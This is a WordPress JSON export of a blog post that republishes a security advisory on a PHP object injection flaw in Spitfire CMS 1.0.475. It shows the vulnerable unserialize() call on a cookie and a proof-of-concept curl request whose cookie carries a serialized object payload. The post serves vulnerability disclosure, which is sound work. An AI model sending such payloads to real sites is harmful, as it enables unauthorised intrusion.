{"id":34590,"date":"2022-12-10T05:58:09","date_gmt":"2022-12-10T02:58:09","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/170186\/ZSL-2022-5720.txt"},"modified":"2022-12-10T13:24:06","modified_gmt":"2022-12-10T09:54:06","slug":"spitfire-cms-1-0-475-php-object-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/spitfire-cms-1-0-475-php-object-injection\/","title":{"rendered":"Spitfire CMS 1.0.475 PHP Object Injection"},"content":{"rendered":"<p dir=\"ltr\">\nSpitfire CMS 1.0.475 (cms_backup_values) PHP Object Injection<\/p>\n<p dir=\"ltr\">Vendor: Claus Muus<br \/>\nProduct web page: http:\/\/spitfire.clausmuus.de<br \/>\nAffected version: 1.0.475<\/p>\n<p dir=\"ltr\">Summary: Spitfire is a system to manage the content of webpages.<\/p>\n<p dir=\"ltr\">Desc: The application is prone to a PHP Object Injection vulnerability<br \/>\ndue to the unsafe use of unserialize() function. A potential attacker,<br \/>\nauthenticated, could exploit this vulnerability by sending specially<br \/>\ncrafted requests to the web application containing malicious serialized<br \/>\ninput.<\/p>\n<p dir=\"ltr\">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\ncms\/edit\/tpl_backup.inc.php:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>\n47: private function status ()<br \/>\n48: {<br \/>\n49: $status = array ();<br \/>\n50:<br \/>\n51: $status[&#8216;values&#8217;] = array ();<br \/>\n52: $status[&#8216;values&#8217;] = isset ($_COOKIE[&#8216;cms_backup_values&#8217;]) ? unserialize ($_COOKIE[&#8216;cms_backup_values&#8217;]) : array ();<br \/>\n&#8230;<br \/>\n&#8230;<br \/>\n77: public function save ($values)<br \/>\n78: {<br \/>\n79: $values = array_merge ($this-&gt;status[&#8216;values&#8217;], $values);<br \/>\n80: setcookie (&#8216;cms_backup_values&#8217;, serialize ($values), time()+60*60*24*30);<br \/>\n81: }<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p dir=\"ltr\">Tested on: nginx<\/p>\n<p dir=\"ltr\">Vulnerability discovered by Gjoko &#8216;LiquidWorm&#8217; Krstic<br \/>\n@zeroscience<\/p>\n<p dir=\"ltr\">Advisory ID: ZSL-2022-5720<br \/>\nAdvisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2022-5720.php<\/p>\n<p dir=\"ltr\">28.09.2022<\/p>\n<p dir=\"ltr\">&#8212;<\/p>\n<p dir=\"ltr\">&gt; curl -isk -XPOST http:\/\/10.0.0.2\/cms\/edit\/tpl_backup_action.php \\<br \/>\n-H &#8216;Content-Type: application\/x-www-form-urlencoded&#8217;<br \/>\n-H &#8216;Accept: *\/*&#8217;<br \/>\n-H &#8216;Referer: http:\/\/10.0.0.2\/cms\/edit\/cont_index.php?tpl=backup&#8217;<br \/>\n-H &#8216;Accept-Encoding: gzip, deflate&#8217;<br \/>\n-H &#8216;Accept-Language: en-US,en;q=0.9&#8217;<br \/>\n-H &#8216;Connection: close&#8217; \\<br \/>\n-H &#8216;Cookie: tip=0; cms_backup_values=O%3a3%3a%22ZSL%22%3a0%3a%7b%7d; cms_username=admin; PHPSESSID=0e63d3a8762f4bff95050d1146db8c1c&#8217; \\<br \/>\n&#8211;data &#8216;action=save&amp;&amp;value=1&#8217;<br \/>\n#&#8211;data &#8216;action=save&amp;&amp;value[files]={}&#8217;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Spitfire CMS 1.0.475 (cms_backup_values) PHP Object Injection Vendor: Claus Muus Product web page: http:\/\/spitfire.clausmuus.de Affected version: 1.0.475 Summary: Spitfire is a system to manage the content of webpages. Desc: The application is prone to a PHP Object Injection vulnerability due to the unsafe use of unserialize() function. A potential attacker, authenticated, could exploit this vulnerability &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-34590","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34590","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=34590"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34590\/revisions"}],"predecessor-version":[{"id":34600,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34590\/revisions\/34600"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=34590"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=34590"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=34590"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}